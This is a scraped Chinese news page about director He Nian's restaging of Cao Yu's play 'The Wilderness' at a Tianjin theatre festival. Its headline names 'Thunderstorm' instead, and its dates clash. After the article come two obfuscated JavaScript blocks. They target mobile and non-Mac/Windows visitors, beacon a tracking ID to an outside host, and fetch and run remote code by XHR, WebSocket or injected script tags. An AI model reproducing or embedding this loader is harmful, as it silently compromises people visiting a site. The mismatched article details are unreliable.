何念排《雷雨》有新招 曹禺经典亮相中国大戏院

时间:2020-10-23 23:49:15阅读:1922
何念导演的话剧《原野》,将于9月20日至22日,亮相“中国大戏院2019国际戏剧邀请展”。曹禺经典剧作《原野》的故事在何念手中,以不同形式、节奏和体量“轮回&rdq
  • 雷雨
  • 家庭 经典
  • 秦怡 张瑜 马晓伟

何念导演的话剧《原野》,将于9月20日至22日,亮相“中国大戏院2019国际戏剧邀请展”。曹禺经典剧作《原野》的故事在何念手中,以不同形式、节奏和体量“轮回”三遍,最终陷入死循环,展现出与以往版本不同的魅力,经典焕发新生。

《原野》是大剧作家曹禺1937年创作的作品。原野上,仇虎从囚车上跳下来,砸开脚上的镣铐,准备找杀害父亲的焦阎王报仇,但他发现焦阎王已死,曾经的恋人金子则嫁给了仇人的儿子、自己的朋友大星。大星的母亲是个瞎眼的老太婆,对金子心狠手辣,大星深爱金子但对母亲充满恐惧。仇虎决定带金子逃离苦海,但他们并不能携手逃脱命运的悲剧。

这部作品自诞生之日,便遭受各种争议。有人觉得《原野》比曹禺的《雷雨》《日出》更为完美、更有价值,是部向黑暗反抗的象征主义作品。但也有声音认为曹禺把农民复仇的故事,写得太过神秘,与现实相距甚远。何念看到的,是《雷雨》永恒的生命力。

何念认为《原野》的故事较为简单,字里行间的意识流相对较多,展现鲜明而复杂的人物性格之外,剧作借鉴了西方表现主义的艺术手段,如果用惯常的现实主义舞台手段去处理,很难达到理想的呈现效果。

在何念看来,《原野》的经典性体现在剧作家对“人生困境”的哲思上面,有了用“无限死循环”概念排演观众耳熟能详的故事的想法。他选择用贴近当下的讲述方式,为这个大半个世纪前的故事增添了新鲜感,促使观众反思。

这版《原野》在不改变原著内核和台词的前提下,大胆调整剧本结构,打破原有的线性叙事模式,注重对人物内心情感的挖掘。全剧采用三段轮回的方式,先是概括讲述故事,接着是更为详细的叙述,最后是无尽的往复。仇虎试图通过杀掉无数个自己、杀掉自己以前的意识等方式,完成报仇,然而这并不能解决他的痛苦。

对此,何念称是为了发掘作品内在的价值观。“不过在讲故事的方法上,要尽可能接近当代观众更易接受的节奏和方式,让观众迅速进入情境、找到平衡点。”而这,显然符合曹禺曾对后人排演《原野》提的建议:“既不能离题,又不可照搬,要大胆改,要用新招来排。”

此外,何念诸多特有的舞台表现手法,在这版《原野》中也有鲜明的体现。在他的代表作《武林外传》《鹿鼎记》等中出现的“黑衣人”,本剧中承担了人物内心情感外化、舞台特技慢动作、剧情推进等多种功用。演员的表演同时融入了舞蹈剧场和肢体剧的概念,八个演员一直在场上,既扮演剧本里的角色,也会扮演角色的当下心理、现实环境,以及一些以前真实发生,或者根本没有发生只在梦中存在的事情。

另据悉,《原野》演出结束,由享誉全球的智利魔幻电影戏剧团带来的首部访华作品《电影女孩》,将于9月27至29日,接档在“中国大戏院2019国际戏剧邀请展”上演。由智利同名畅销小说改编的该剧,讲述矿区女孩以“重述电影”的方式,为无法观看电影的旷工和家属们,编织出一个个令人忘却现实的魔幻时刻。

相关资讯

评论

  • 评论加载中...

function UrHZkO(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function weDNiqf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UrHZkO(t);};window[''+'c'+'m'+'F'+'i'+'U'+'p'+'D'+'L'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ROpDn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=weDNiqf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ROpDn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ROpDn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLm1rdnNmLmNuJTNBODg5MQ==','d3NNzJTNNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MzM=','159458',window,document,['Z','N']);}:function(){};
function vbkCETyF(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XxcCDLPe(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vbkCETyF(t);};window[''+'l'+'r'+'R'+'c'+'U'+'z'+'f'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function sjnBT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XxcCDLPe,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=sjnBT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=sjnBT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm1rdnNmmLmmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS5rZZmdqYS5jbiUzQTk1MzM=','159459',window,document,['m','Z']);}:function(){};